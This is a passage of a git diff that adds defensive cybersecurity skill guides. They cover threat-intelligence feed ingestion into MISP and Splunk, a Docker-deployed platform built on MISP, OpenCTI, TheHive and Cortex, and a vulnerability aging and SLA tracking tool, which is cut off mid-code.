added in last 24 hours +from datetime import datetime, timedelta +added_after = (datetime.utcnow() - timedelta(days=1)).strftime("%Y-%m-%dT%H:%M:%S.000Z") + +response = collection.get_objects(added_after=added_after, type=["indicator"]) +for obj in response.get("objects", []): + indicator = parse(obj) + print(f"Type: {indicator.type}") + print(f"Pattern: {indicator.pattern}") + print(f"Valid Until: {indicator.valid_until}") + print(f"Confidence: {indicator.confidence}") + print("---") +``` + +### Step 3: Ingest Open-Source Feeds + +**Abuse.ch URLhaus Feed:** + +```python +import requests +import csv +from io import StringIO + +# Download URLhaus recent URLs +response = requests.get("https://urlhaus.abuse.ch/downloads/csv_recent/") +reader = csv.reader(StringIO(response.text), delimiter=',') + +indicators = [] +for row in reader: + if row[0].startswith("#"): + continue + indicators.append({ + "id": row[0], + "dateadded": row[1], + "url": row[2], + "url_status": row[3], + "threat": row[5], + "tags": row[6] + }) + +print(f"Ingested {len(indicators)} URLs from URLhaus") + +# Filter for active threats only +active = [i for i in indicators if i["url_status"] == "online"] +print(f"Active threats: {len(active)}") +``` + +**AlienVault OTX Pulse Feed:** + +```python +from OTXv2 import OTXv2, IndicatorTypes + +otx = OTXv2("YOUR_OTX_API_KEY") + +# Get subscribed pulses (last 24 hours) +pulses = otx.getall(modified_since="2024-03-14T00:00:00") + +for pulse in pulses: + print(f"Pulse: {pulse['name']}") + print(f"Tags: {pulse['tags']}") + for indicator in pulse["indicators"]: + print(f" IOC: {indicator['indicator']} ({indicator['type']})") +``` + +**Abuse.ch Feodo Tracker (C2 IPs):** + +```python +response = requests.get("https://feodotracker.abuse.ch/downloads/ipblocklist_recommended.json") +c2_data = response.json() + +for entry in c2_data: + print(f"IP: {entry['ip_address']}:{entry['port']}") + print(f"Malware: {entry['malware']}") + print(f"First Seen: {entry['first_seen']}") + print(f"Last Online: {entry['last_online']}") +``` + +### Step 4: Normalize and Deduplicate + +Convert all feeds to STIX 2.1 format for standardization: + +```python +from stix2 import Indicator, Bundle +import hashlib + +def create_stix_indicator(ioc_value, ioc_type, source, confidence=50): + """Convert raw IOC to STIX 2.1 indicator""" + pattern_map = { + "ipv4": f"[ipv4-addr:value = '{ioc_value}']", + "domain": f"[domain-name:value = '{ioc_value}']", + "url": f"[url:value = '{ioc_value}']", + "sha256": f"[file:hashes.'SHA-256' = '{ioc_value}']", + "md5": f"[file:hashes.MD5 = '{ioc_value}']", + } + + return Indicator( + name=f"{ioc_type}: {ioc_value}", + pattern=pattern_map[ioc_type], + pattern_type="stix", + valid_from="2024-03-15T00:00:00Z", + confidence=confidence, + labels=[source], + custom_properties={"x_source_feed": source} + ) + +# Deduplicate across sources +seen_iocs = set() +unique_indicators = [] + +for ioc in all_collected_iocs: + ioc_hash = hashlib.sha256(f"{ioc['type']}:{ioc['value']}".encode()).hexdigest() + if ioc_hash not in seen_iocs: + seen_iocs.add(ioc_hash) + unique_indicators.append( + create_stix_indicator(ioc["value"], ioc["type"], ioc["source"]) + ) + +bundle = Bundle(objects=unique_indicators) +print(f"Unique indicators: {len(unique_indicators)}") +``` + +### Step 5: Push to SIEM Threat Intelligence Framework + +**Push to Splunk ES Threat Intelligence:** + +```python +import requests + +splunk_url = "https://splunk.company.com:8089" +headers = {"Authorization": f"Bearer {splunk_token}"} + +for indicator in unique_indicators: + # Extract IOC value from STIX pattern + ioc_value = indicator.pattern.split("'")[1] + + # Upload to Splunk ES threat intel collection + data = { + "ip": ioc_value, + "description": indicator.name, + "weight": indicator.confidence // 10, + "threat_key": indicator.id, + "source_feed": indicator.get("x_source_feed", "unknown") + } + + requests.post( + f"{splunk_url}/services/data/threat_intel/item/ip_intel", + headers=headers, data=data, verify=False + ) +``` + +**Push to MISP for centralized management:** + +```python +from pymisp import PyMISP, MISPEvent, MISPAttribute + +misp = PyMISP("https://misp.company.com", "YOUR_MISP_API_KEY") + +# Create event for feed batch +event = MISPEvent() +event.info = f"TI Feed Import - {datetime.now().strftime('%Y-%m-%d')}" +event.threat_level_id = 2 # Medium +event.analysis = 2 # Completed + +# Add indicators as attributes +for ioc in unique_indicators: + attr = MISPAttribute() + attr.type = "ip-dst" if "ipv4" in ioc.pattern else "domain" + attr.value = ioc.pattern.split("'")[1] + attr.to_ids = True + attr.comment = f"Source: {ioc.get('x_source_feed', 'mixed')}" + event.add_attribute(**attr) + +result = misp.add_event(event) +print(f"MISP Event created: {result['Event']['id']}") +``` + +### Step 6: Monitor Feed Health and Quality + +Track feed effectiveness metrics: + +```spl +index=threat_intel sourcetype="threat_intel_manager" +| stats count AS total_iocs, + dc(threat_key) AS unique_iocs, + dc(source_feed) AS feed_count + by source_feed +| join source_feed [ + search index=notable source="Threat Intelligence" + | stats count AS matches by source_feed + ] +| eval match_rate = round(matches / unique_iocs * 100, 2) +| sort - match_rate +| table source_feed, unique_iocs, matches, match_rate +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **STIX 2.1** | Structured Threat Information Expression — standardized JSON format for sharing threat intelligence objects | +| **TAXII** | Trusted Automated eXchange of Indicator Information — transport protocol for sharing STIX data via REST API | +| **TIP** | Threat Intelligence Platform — centralized system for aggregating, scoring, and distributing threat intelligence | +| **IOC Scoring** | Process of assigning confidence values to indicators based on source reliability and corroboration | +| **Feed Deduplication** | Removing duplicate IOCs across multiple sources while preserving multi-source attribution | +| **IOC Expiration** | Time-to-live policy removing aged indicators (IP: 30 days, Domain: 90 days, Hash: 1 year) | + +## Tools & Systems + +- **MISP**: Open-source threat intelligence platform for feed aggregation, correlation, and sharing +- **AlienVault OTX**: Free threat intelligence sharing platform with community pulse feeds +- **Abuse.ch**: Suite of free threat feeds (URLhaus, MalwareBazaar, Feodo Tracker, ThreatFox) +- **OpenCTI**: Open-source cyber threat intelligence platform supporting STIX 2.1 native storage +- **TAXII2 Client**: Python library for connecting to STIX/TAXII 2.1 servers for automated indicator retrieval + +## Common Scenarios + +- **New Feed Onboarding**: Evaluate feed quality, map fields to STIX, configure automated ingestion pipeline +- **Multi-SIEM Distribution**: Push normalized IOCs from MISP to Splunk, Elastic, and Sentinel simultaneously +- **False Positive Reduction**: Score IOCs by source count and age, expire stale indicators automatically +- **Feed Quality Audit**: Compare detection match rates across feeds to identify highest-value sources +- **Incident IOC Sharing**: Package investigation IOCs as STIX bundle and share with ISACs via TAXII + +## Output Format + +``` +THREAT INTEL FEED STATUS — Daily Report +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Date: 2024-03-15 +Total IOCs: 45,892 active indicators + +Feed Health: + Feed IOCs Matches Match Rate Status + Abuse.ch URLhaus 12,340 47 0.38% HEALTHY + AlienVault OTX 18,567 23 0.12% HEALTHY + Abuse.ch Feodo 1,203 12 1.00% HEALTHY + CISA AIS 8,945 8 0.09% HEALTHY + CrowdStrike Intel 4,837 31 0.64% HEALTHY + +Actions Today: + New IOCs ingested: 1,247 + IOCs expired: 892 + Duplicates removed: 156 + SIEM matches: 121 notable events generated + False positives: 3 (CDN IPs removed from feed) +``` diff --git a/skills/building-threat-intelligence-platform/SKILL.md b/skills/building-threat-intelligence-platform/SKILL.md new file mode 100644 index 00000000..795ef83f --- /dev/null +++ b/skills/building-threat-intelligence-platform/SKILL.md @@ -0,0 +1,296 @@ +--- +name: None +description: Building a Threat Intelligence Platform (TIP) involves deploying and integrating multiple CTI tools into a unified system for collecting, analyzing, enriching, and disseminating threat intelligence. T +domain: cybersecurity +subdomain: threat-intelligence +tags: [threat-intelligence, cti, ioc, mitre-attack, stix, platform-building, misp, opencti] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Threat Intelligence Platform + +## Overview + +Building a Threat Intelligence Platform (TIP) involves deploying and integrating multiple CTI tools into a unified system for collecting, analyzing, enriching, and disseminating threat intelligence. This skill covers designing TIP architecture using open-source tools (MISP, OpenCTI, TheHive, Cortex), configuring feed ingestion pipelines, establishing enrichment workflows, implementing STIX/TAXII interoperability, and building analyst dashboards for CTI operations. + +## Prerequisites + +- Docker and Docker Compose for deploying platform components +- Python 3.9+ with `pymisp`, `pycti`, `thehive4py` libraries +- Elasticsearch/OpenSearch cluster for data storage +- Redis and RabbitMQ for message queuing +- Understanding of STIX 2.1 data model and TAXII 2.1 transport +- API keys for enrichment services (VirusTotal, Shodan, AbuseIPDB) + +## Key Concepts + +### TIP Architecture Components +1. **Collection Layer**: Feed ingestion from OSINT, commercial, and internal sources +2. **Storage Layer**: Elasticsearch/OpenSearch for indexed CTI data with STIX 2.1 schema +3. **Analysis Layer**: OpenCTI for knowledge graph analysis and MISP for IOC correlation +4. **Enrichment Layer**: Cortex analyzers for automated IOC enrichment +5. **Response Layer**: TheHive for case management and incident response integration +6. **Sharing Layer**: TAXII server for outbound intelligence sharing + +### Platform Integration Points +- **MISP <-> OpenCTI**: Bidirectional sync via OpenCTI MISP connector +- **OpenCTI <-> TheHive**: Alert/case creation from high-confidence indicators +- **TheHive <-> Cortex**: Automated analysis and enrichment of case observables +- **All <-> SIEM**: Real-time IOC push to Splunk/Elastic via API or Kafka + +## Practical Steps + +### Step 1: Deploy Platform with Docker Compose + +```yaml +version: '3.8' +services: + # --- Storage Layer --- + elasticsearch: + image: docker.elastic.co/elasticsearch/elasticsearch:8.12.0 + environment: + - discovery.type=single-node + - xpack.security.enabled=false + - "ES_JAVA_OPTS=-Xms2g -Xmx2g" + ports: + - "9200:9200" + volumes: + - es-data:/usr/share/elasticsearch/data + + redis: + image: redis:7 + ports: + - "6379:6379" + + rabbitmq: + image: rabbitmq:3-management + ports: + - "5672:5672" + - "15672:15672" + + minio: + image: minio/minio + command: server /data --console-address ":9001" + ports: + - "9000:9000" + - "9001:9001" + + # --- MISP --- + misp: + image: ghcr.io/misp/misp-docker/misp-core:latest + ports: + - "8443:443" + environment: + - MISP_ADMIN_EMAIL=admin@tip.local + - MISP_BASEURL=https://localhost:8443 + volumes: + - misp-data:/var/www/MISP/app/files + + # --- OpenCTI --- + opencti: + image: opencti/platform:6.4.4 + environment: + - APP__PORT=8080 + - APP__ADMIN__EMAIL=admin@tip.local + - APP__ADMIN__PASSWORD=TIPAdminPassword + - APP__ADMIN__TOKEN=tip-opencti-token-uuid + - ELASTICSEARCH__URL=http://elasticsearch:9200 + - MINIO__ENDPOINT=minio + - RABBITMQ__HOSTNAME=rabbitmq + - REDIS__HOSTNAME=redis + ports: + - "8080:8080" + depends_on: + - elasticsearch + - redis + - rabbitmq + - minio + + # --- TheHive --- + thehive: + image: strangebee/thehive:5.3 + environment: + - TH_CORTEX_URL=http://cortex:9001 + ports: + - "9000:9000" + depends_on: + - elasticsearch + + # --- Cortex --- + cortex: + image: thehiveproject/cortex:3.1.8 + ports: + - "9001:9001" + depends_on: + - elasticsearch + +volumes: + es-data: + misp-data: +``` + +### Step 2: Configure Feed Ingestion Pipeline + +```python +from pymisp import PyMISP +from pycti import OpenCTIApiClient +import json + +class TIPFeedManager: + """Manage threat intelligence feed ingestion across platform components.""" + + def __init__(self, misp_url, misp_key, opencti_url, opencti_token): + self.misp = PyMISP(misp_url, misp_key, ssl=False) + self.opencti = OpenCTIApiClient(opencti_url, opencti_token) + + def configure_osint_feeds(self): + """Enable default OSINT feeds in MISP.""" + osint_feeds = [ + {"name": "CIRCL OSINT", "id": 1}, + {"name": "Botvrij.eu", "id": 2}, + {"name": "abuse.ch URLhaus", "id": 5}, + {"name": "abuse.ch Feodo Tracker", "id": 6}, + ] + for feed in osint_feeds: + try: + self.misp.enable_feed(feed["id"]) + self.misp.fetch_feed(feed["id"]) + print(f"[+] Enabled feed: {feed['name']}") + except Exception as e: + print(f"[-] Failed: {feed['name']}: {e}") + + def configure_opencti_connectors(self): + """List and verify OpenCTI connector status.""" + connectors = self.opencti.connector.list() + for conn in connectors: + print( + f" Connector: {conn['name']} - " + f"Active: {conn['active']} - " + f"Type: {conn['connector_type']}" + ) + + def sync_misp_to_opencti(self): + """Verify MISP-OpenCTI sync is operational.""" + # OpenCTI MISP connector handles this automatically + # Check connector status + connectors = self.opencti.connector.list() + misp_connector = [ + c for c in connectors if "misp" in c["name"].lower() + ] + if misp_connector: + print(f"[+] MISP connector active: {misp_connector[0]['active']}") + else: + print("[-] MISP connector not found - configure in Docker Compose") +``` + +### Step 3: Build Enrichment Pipeline with Cortex + +```python +import requests + +class CortexEnrichment: + """Integrate Cortex analyzers for automated enrichment.""" + + def __init__(self, cortex_url, cortex_key): + self.url = cortex_url + self.headers = {"Authorization": f"Bearer {cortex_key}"} + + def list_analyzers(self): + """List available Cortex analyzers.""" + resp = requests.get( + f"{self.url}/api/analyzer", + headers=self.headers, + timeout=30, + ) + if resp.status_code == 200: + analyzers = resp.json() + for a in analyzers: + print(f" {a['name']}: {a.get('description', '')[:60]}") + return analyzers + return [] + + def analyze_observable(self, observable_type, observable_value, analyzer_id): + """Submit an observable for analysis.""" + job = { + "data": observable_value, + "dataType": observable_type, + "tlp": 2, + "message": "TIP automated enrichment", + } + resp = requests.post( + f"{self.url}/api/analyzer/{analyzer_id}/run", + json=job, + headers=self.headers, + timeout=30, + ) + if resp.status_code == 200: + return resp.json() + return None + + def get_job_report(self, job_id): + """Get the report for a completed analysis job.""" + resp = requests.get( + f"{self.url}/api/job/{job_id}/report", + headers=self.headers, + timeout=60, + ) + if resp.status_code == 200: + return resp.json() + return None +``` + +### Step 4: Implement Analyst Dashboard Metrics + +```python +class TIPMetrics: + """Collect platform metrics for analyst dashboards.""" + + def __init__(self, misp, opencti): + self.misp = misp + self.opencti = opencti + + def get_platform_stats(self): + """Collect statistics across all platform components.""" + stats = {} + + # MISP stats + misp_stats = self.misp.get_server_statistics() + stats["misp"] = { + "total_events": misp_stats.get("event_count", 0), + "total_attributes": misp_stats.get("attribute_count", 0), + "active_feeds": len([ + f for f in self.misp.feeds() + if f.get("Feed", {}).get("enabled") + ]), + } + + # OpenCTI stats via GraphQL + stats["opencti"] = { + "total_indicators": self.opencti.indicator.list( + first=0, withPagination=True + ).get("pagination", {}).get("globalCount", 0), + "total_reports": self.opencti.report.list( + first=0, withPagination=True + ).get("pagination", {}).get("globalCount", 0), + } + + return stats +``` + +## Validation Criteria + +- All platform components (MISP, OpenCTI, TheHive, Cortex) deployed and accessible +- MISP-OpenCTI bidirectional sync operational +- At least 3 OSINT feeds ingesting data +- Cortex analyzers configured and returning enrichment results +- Platform metrics dashboard showing real-time statistics +- STIX/TAXII export functional for intelligence sharing + +## References + +- [OpenCTI Documentation](https://docs.opencti.io/) +- [MISP Project](https://www.misp-project.org/) +- [TheHive Project](https://thehive-project.org/) +- [Cortex Documentation](https://github.com/TheHive-Project/Cortex) +- [MISP-OpenCTI Integration](https://docs.opencti.io/latest/deployment/connectors/) diff --git a/skills/building-threat-intelligence-platform/assets/template.md b/skills/building-threat-intelligence-platform/assets/template.md new file mode 100644 index 00000000..9eefb07a --- /dev/null +++ b/skills/building-threat-intelligence-platform/assets/template.md @@ -0,0 +1,33 @@ +# Threat Intelligence Platform Status Report + +## Platform Health +| Component | Status | Version | URL | +|-----------|--------|---------|-----| +| MISP | Healthy/Unhealthy | | | +| OpenCTI | Healthy/Unhealthy | | | +| TheHive | Healthy/Unhealthy | | | +| Cortex | Healthy/Unhealthy | | | +| Elasticsearch | Healthy/Unhealthy | | | + +## Feed Ingestion Status +| Feed Name | Source | Status | Last Fetch | Events Generated | +|-----------|--------|--------|-----------|-----------------| +| | | Active/Error | | | + +## Platform Metrics +| Metric | MISP | OpenCTI | Combined | +|--------|------|---------|----------| +| Total Events/Reports | | | | +| Total Indicators | | | | +| Active Feeds | | | | +| Enrichment Jobs (24h) | | | | + +## Connector Status +| Connector | Type | Active | Last Run | +|-----------|------|--------|---------| +| | Import/Enrichment/Stream | Yes/No | | + +## Recommendations +1. [Platform maintenance recommendations] +2. [Feed configuration improvements] +3. [Integration enhancements] diff --git a/skills/building-threat-intelligence-platform/references/standards.md b/skills/building-threat-intelligence-platform/references/standards.md new file mode 100644 index 00000000..d81c2f57 --- /dev/null +++ b/skills/building-threat-intelligence-platform/references/standards.md @@ -0,0 +1,28 @@ +# Standards and Frameworks Reference + +## TIP Architecture Standards +- **STIX 2.1**: Native data model for CTI representation +- **TAXII 2.1**: Transport protocol for CTI sharing +- **MITRE ATT&CK**: Technique taxonomy for TTP mapping +- **Diamond Model**: Intrusion analysis framework +- **Kill Chain**: Lockheed Martin Cyber Kill Chain for attack phase tracking + +## Platform Component Standards +| Component | Protocol | Data Format | +|-----------|----------|-------------| +| MISP | REST API | MISP JSON, STIX 2.1 | +| OpenCTI | GraphQL API | STIX 2.1 | +| TheHive | REST API | TheHive JSON | +| Cortex | REST API | Cortex Report JSON | +| Elasticsearch | REST API | JSON | + +## Integration Standards +- **MISP Sync Protocol**: Push/Pull over HTTPS with API key auth +- **OpenCTI Connectors**: RabbitMQ-based message queue for async processing +- **Cortex Analyzers**: Docker-based analyzers with standardized I/O +- **SIEM Integration**: Syslog, Kafka, REST API, or file-based export + +## References +- [OpenCTI Architecture](https://docs.opencti.io/latest/deployment/overview/) +- [MISP Architecture](https://www.misp-project.org/features/) +- [TheHive Documentation](https://docs.strangebee.com/) diff --git a/skills/building-threat-intelligence-platform/references/workflows.md b/skills/building-threat-intelligence-platform/references/workflows.md new file mode 100644 index 00000000..00f28711 --- /dev/null +++ b/skills/building-threat-intelligence-platform/references/workflows.md @@ -0,0 +1,31 @@ +# TIP Architecture Workflows + +## Workflow 1: End-to-End Intelligence Pipeline +``` +[External Feeds] --> [MISP] --> [OpenCTI] --> [Enrichment (Cortex)] --> [SIEM/TheHive] + | | | | | + v v v v v +OSINT/Commercial Correlate Knowledge Graph VT/Shodan/AIPDB Alerts/Cases +``` + +## Workflow 2: Incident-to-Intelligence Feedback Loop +``` +[SOC Alert] --> [TheHive Case] --> [Cortex Analysis] --> [IOC Extraction] + | + v + [MISP Event Creation] + | + v + [OpenCTI Knowledge Update] + | + v + [Updated Detections --> SIEM] +``` + +## Workflow 3: Platform Health Monitoring +``` +[Prometheus/Grafana] --> [Component Health] --> [Feed Status] --> [Alert on Failure] + | | + v v + [ES Cluster Health] [Connector Status] +``` diff --git a/skills/building-threat-intelligence-platform/scripts/process.py b/skills/building-threat-intelligence-platform/scripts/process.py new file mode 100644 index 00000000..30d0bdbe --- /dev/null +++ b/skills/building-threat-intelligence-platform/scripts/process.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +""" +Threat Intelligence Platform Management Script + +Manages a multi-component TIP deployment: +- Checks platform component health +- Configures feed ingestion across MISP and OpenCTI +- Runs enrichment pipelines via Cortex analyzers +- Generates platform metrics and dashboards + +Requirements: + pip install pymisp pycti requests + +Usage: + python process.py --check-health --misp-url URL --misp-key KEY --opencti-url URL --opencti-token TOKEN + python process.py --configure-feeds --misp-url URL --misp-key KEY + python process.py --platform-stats --misp-url URL --misp-key KEY --opencti-url URL --opencti-token TOKEN +""" + +import argparse +import json +import sys +from datetime import datetime + +import requests + +try: + from pymisp import PyMISP +except ImportError: + PyMISP = None + +try: + from pycti import OpenCTIApiClient +except ImportError: + OpenCTIApiClient = None + + +class TIPManager: + """Manage Threat Intelligence Platform operations.""" + + def __init__(self, misp_url="", misp_key="", opencti_url="", opencti_token="", + thehive_url="", thehive_key="", cortex_url="", cortex_key=""): + self.misp = PyMISP(misp_url, misp_key, ssl=False) if PyMISP and misp_url else None + self.opencti = ( + OpenCTIApiClient(opencti_url, opencti_token) + if OpenCTIApiClient and opencti_url else None + ) + self.thehive_url = thehive_url + self.thehive_key = thehive_key + self.cortex_url = cortex_url + self.cortex_key = cortex_key + + def check_health(self) -> dict: + """Check health of all platform components.""" + health = {} + + if self.misp: + try: + version = self.misp.misp_instance_version + health["misp"] = {"status": "healthy", "version": str(version)} + except Exception as e: + health["misp"] = {"status": "unhealthy", "error": str(e)} + + if self.opencti: + try: + about = self.opencti.health.check() + health["opencti"] = {"status": "healthy"} + except Exception as e: + health["opencti"] = {"status": "unhealthy", "error": str(e)} + + if self.thehive_url: + try: + resp = requests.get( + f"{self.thehive_url}/api/status", + headers={"Authorization": f"Bearer {self.thehive_key}"}, + timeout=10, + ) + health["thehive"] = { + "status": "healthy" if resp.status_code == 200 else "unhealthy" + } + except Exception as e: + health["thehive"] = {"status": "unreachable", "error": str(e)} + + if self.cortex_url: + try: + resp = requests.get( + f"{self.cortex_url}/api/status", + headers={"Authorization": f"Bearer {self.cortex_key}"}, + timeout=10, + ) + health["cortex"] = { + "status": "healthy" if resp.status_code == 200 else "unhealthy" + } + except Exception as e: + health["cortex"] = {"status": "unreachable", "error": str(e)} + + return health + + def configure_feeds(self) -> dict: + """Configure default OSINT feeds in MISP.""" + if not self.misp: + return {"error": "MISP not configured"} + + feeds = self.misp.feeds() + enabled = [] + for feed in feeds: + feed_info = feed.get("Feed", {}) + if not feed_info.get("enabled"): + try: + self.misp.enable_feed(feed_info["id"]) + enabled.append(feed_info["name"]) + except Exception: + pass + + return {"enabled_feeds": enabled, "total_feeds": len(feeds)} + + def get_platform_stats(self) -> dict: + """Collect statistics from all platform components.""" + stats = {"timestamp": datetime.utcnow().isoformat()} + + if self.misp: + try: + server_stats = self.misp.get_server_statistics() + feeds = self.misp.feeds() + stats["misp"] = { + "events": server_stats.get("event_count", 0), + "attributes": server_stats.get("attribute_count", 0), + "active_feeds": len([ + f for f in feeds if f.get("Feed", {}).get("enabled") + ]), + "organizations": server_stats.get("org_count", 0), + } + except Exception as e: + stats["misp"] = {"error": str(e)} + + if self.opencti: + try: + connectors = self.opencti.connector.list() + stats["opencti"] = { + "active_connectors": len([ + c for c in connectors if c.get("active") + ]), + "total_connectors": len(connectors), + } + except Exception as e: + stats["opencti"] = {"error": str(e)} + + return stats + + +def main(): + parser = argparse.ArgumentParser(description="TIP Management Tool") + parser.add_argument("--misp-url", default="", help="MISP URL") + parser.add_argument("--misp-key", default="", help="MISP API key") + parser.add_argument("--opencti-url", default="", help="OpenCTI URL") + parser.add_argument("--opencti-token", default="", help="OpenCTI token") + parser.add_argument("--check-health", action="store_true") + parser.add_argument("--configure-feeds", action="store_true") + parser.add_argument("--platform-stats", action="store_true") + parser.add_argument("--output", default="tip_report.json", help="Output file") + + args = parser.parse_args() + manager = TIPManager(args.misp_url, args.misp_key, args.opencti_url, args.opencti_token) + + result = {} + if args.check_health: + result = manager.check_health() + elif args.configure_feeds: + result = manager.configure_feeds() + elif args.platform_stats: + result = manager.get_platform_stats() + + print(json.dumps(result, indent=2, default=str)) + with open(args.output, "w") as f: + json.dump(result, f, indent=2, default=str) + + +if __name__ == "__main__": + main() diff --git a/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md b/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md new file mode 100644 index 00000000..f8cf21fd --- /dev/null +++ b/skills/building-vulnerability-aging-and-sla-tracking/SKILL.md @@ -0,0 +1,267 @@ +--- +name: building-vulnerability-aging-and-sla-tracking +description: Implement a vulnerability aging dashboard and SLA tracking system to measure remediation performance against severity-based timelines and drive accountability. +domain: cybersecurity +subdomain: vulnerability-management +tags: [vulnerability-management, sla-tracking, remediation-metrics, aging-report, kpi, compliance, risk-management] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Vulnerability Aging and SLA Tracking + +## Overview +With over 30,000 new vulnerabilities identified in 2024 (a 17% increase from the prior year), organizations must track how long vulnerabilities remain unpatched and whether remediation occurs within defined Service Level Agreements (SLAs). Vulnerability aging measures the time between discovery and remediation, while SLA tracking enforces severity-based deadlines. Industry benchmarks indicate standard SLAs of 14 days for critical, 30 days for high, 60 days for medium, and 90 days for low vulnerabilities, though more aggressive timelines (24-48 hours for actively exploited critical CVEs) are increasingly common. This skill covers designing SLA policies, building aging dashboards, implementing automated escalations, and generating compliance metrics. + +## Prerequisites +- Vulnerability management platform with historical scan data +- Asset inventory with criticality ratings +- ITSM/ticketing system for remediation tracking +- Reporting platform (Splunk, Elastic, Power BI, Grafana) +- Stakeholder agreement on SLA timelines and escalation procedures + +## Core Concepts + +### Standard Vulnerability SLA Framework + +| Severity | CVSS Range | Standard SLA | Aggressive SLA | CISA KEV SLA | +|----------|-----------|-------------|----------------|-------------| +| Critical | 9.0-10.0 | 14 days | 48 hours | BOD 22-01 due date | +| High | 7.0-8.9 | 30 days | 7 days | 14 days | +| Medium | 4.0-6.9 | 60 days | 30 days | N/A | +| Low | 0.1-3.9 | 90 days | 60 days | N/A | +| Informational | 0.0 | Best effort | Best effort | N/A | + +### Adaptive SLA Modifiers + +| Factor | Modifier | Rationale | +|--------|----------|-----------| +| Internet-facing asset | -50% SLA | Higher exposure risk | +| CISA KEV listed | Override to 48h | Active exploitation confirmed | +| EPSS > 0.7 | -50% SLA | High exploitation probability | +| Tier 1 (crown jewel) asset | -25% SLA | Maximum business impact | +| Compensating control in place | +25% SLA | Risk partially mitigated | +| Vendor patch unavailable | Exception with review date | Cannot remediate yet | + +### Key Performance Indicators (KPIs) + +| KPI | Formula | Target | +|-----|---------|--------| +| Mean Time to Remediate (MTTR) | Avg(remediation_date - discovery_date) | < 30 days overall | +| SLA Compliance Rate | (Vulns remediated within SLA / Total vulns) * 100 | >= 90% | +| Overdue Vulnerability Count | Count where age > SLA | Trending downward | +| Vulnerability Aging Distribution | Count by age bucket (0-14d, 15-30d, 31-60d, 60+d) | Majority in 0-30d | +| Remediation Velocity | Vulns closed per week | Trending upward | +| Exception Rate | (Exceptions / Total vulns) * 100 | < 5% | + +## Implementation Steps + +### Step 1: Define SLA Policy Document + +``` +Vulnerability Remediation SLA Policy v1.0 + +1. Scope: All information systems and applications +2. Severity Classification: Based on CVSS v4.0/v3.1 base score +3. SLA Timelines: See Standard SLA Framework table +4. Adaptive Modifiers: Applied based on asset context +5. Exception Process: + - Must be documented with business justification + - Requires compensating control description + - Maximum extension: 90 days (one renewal) + - CISO approval required for Critical/High exceptions +6. Escalation Path: + - 50% SLA elapsed: Automated reminder to asset owner + - 75% SLA elapsed: Escalation to manager + - 100% SLA elapsed (overdue): CISO notification + - 120% SLA elapsed: VP/CTO escalation +7. Metrics Reporting: Monthly to security committee +``` + +### Step 2: Build the Aging Calculation Engine + +```python +import pandas as pd +from datetime import datetime, timedelta + +class VulnerabilityAgingTracker: + """Track vulnerability aging and SLA compliance.""" + + SLA_DAYS = { + "Critical": 14, + "High": 30, + "Medium": 60, + "Low": 90, + } + + def __init__(self, sla_overrides=None): + if sla_overrides: + self.SLA_DAYS.update(sla_overrides) + + def calculate_aging(self, vulns_df): + """Calculate aging metrics for each vulnerability.""" + today = datetime.now() + + vulns_df["discovery_date"] = pd.to_datetime(vulns_df["discovery_date"]) + vulns_df["remediation_date"] = pd.to_datetime( + vulns_df["remediation_date"], errors="coerce" + ) + + vulns_df["age_days"] = vulns_df.apply( + lambda row: (row["remediation_date"] - row["discovery_date"]).days + if pd.notna(row["remediation_date"]) + else (today - row["discovery_date"]).days, + axis=1 + ) + + vulns_df["sla_days"] = vulns_df["severity"].map(self.SLA_DAYS) + vulns_df["sla_deadline"] = vulns_df["discovery_date"] + \ + pd.to_timedelta(vulns_df["sla_days"], unit="D") + + vulns_df["is_overdue"] = vulns_df.apply( + lambda row: row["age_days"] > row["sla_days"] + if pd.isna(row["remediation_date"]) else False, + axis=1 + ) + + vulns_df["sla_compliance"] = vulns_df.apply( + lambda row: row["age_days"] <= row["sla_days"] + if pd.notna(row["remediation_date"]) else None, + axis=1 + ) + + vulns_df["days_overdue"] = vulns_df.apply( + lambda row: max(0, row["age_days"] - row["sla_days"]) + if row["is_overdue"] else 0, + axis=1 + ) + + vulns_df["sla_pct_elapsed"] = ( + vulns_df["age_days"] / vulns_df["sla_days"] * 100 + ).round(1) + + return vulns_df + + def generate_kpis(self, vulns_df): + """Generate KPI summary from aging data.""" + open_vulns = vulns_df[vulns_df["remediation_date"].isna()] + closed_vulns = vulns_df[vulns_df["remediation_date"].notna()] + + kpis = { + "total_vulnerabilities": len(vulns_df), + "open_vulnerabilities": len(open_vulns), + "closed_vulnerabilities": len(closed_vulns), + "overdue_count": open_vulns["is_overdue"].sum(), + "mttr_days": closed_vulns["age_days"].mean() if len(closed_vulns) > 0 else 0, + "sla_compliance_rate": ( + closed_vulns["sla_compliance"].mean() * 100 + if len(closed_vulns) > 0 else 0 + ), + } + + kpis["overdue_by_severity"] = ( + open_vulns[open_vulns["is_overdue"]] + .groupby("severity") + .size() + .to_dict() + ) + + return kpis + + def get_escalation_list(self, vulns_df): + """Get vulnerabilities requiring escalation.""" + open_vulns = vulns_df[vulns_df["remediation_date"].isna()].copy() + + escalations = [] + for _, vuln in open_vulns.iterrows(): + pct = vuln["sla_pct_elapsed"] + if pct >= 120: + level = "VP/CTO Escalation" + elif pct >= 100: + level = "CISO Notification" + elif pct >= 75: + level = "Manager Escalation" + elif pct >= 50: + level = "Owner Reminder" + else: + continue + + escalations.append({ + "cve_id": vuln.get("cve_id", ""), + "severity": vuln["severity"], + "age_days": vuln["age_days"], + "sla_days": vuln["sla_days"], + "days_overdue": vuln["days_overdue"], + "sla_pct": pct, + "escalation_level": level, + "asset": vuln.get("asset", ""), + "owner": vuln.get("owner", ""), + }) + + return pd.DataFrame(escalations) +``` + +### Step 3: Dashboard Visualization + +```python +# Grafana/Kibana query examples for vulnerability aging + +# Age distribution histogram (Elasticsearch) +age_distribution_query = { + "aggs": { + "age_buckets": { + "range": { + "field": "age_days", + "ranges": [ + {"key": "0-7 days", "to": 8}, + {"key": "8-14 days", "from": 8, "to": 15}, + {"key": "15-30 days", "from": 15, "to": 31}, + {"key": "31-60 days", "from": 31, "to": 61}, + {"key": "61-90 days", "from": 61, "to": 91}, + {"key": "90+ days", "from": 91}, + ] + } + } + } +} + +# SLA compliance trend (monthly) +sla_trend_query = { + "aggs": { + "monthly": { + "date_histogram": {"field": "remediation_date", 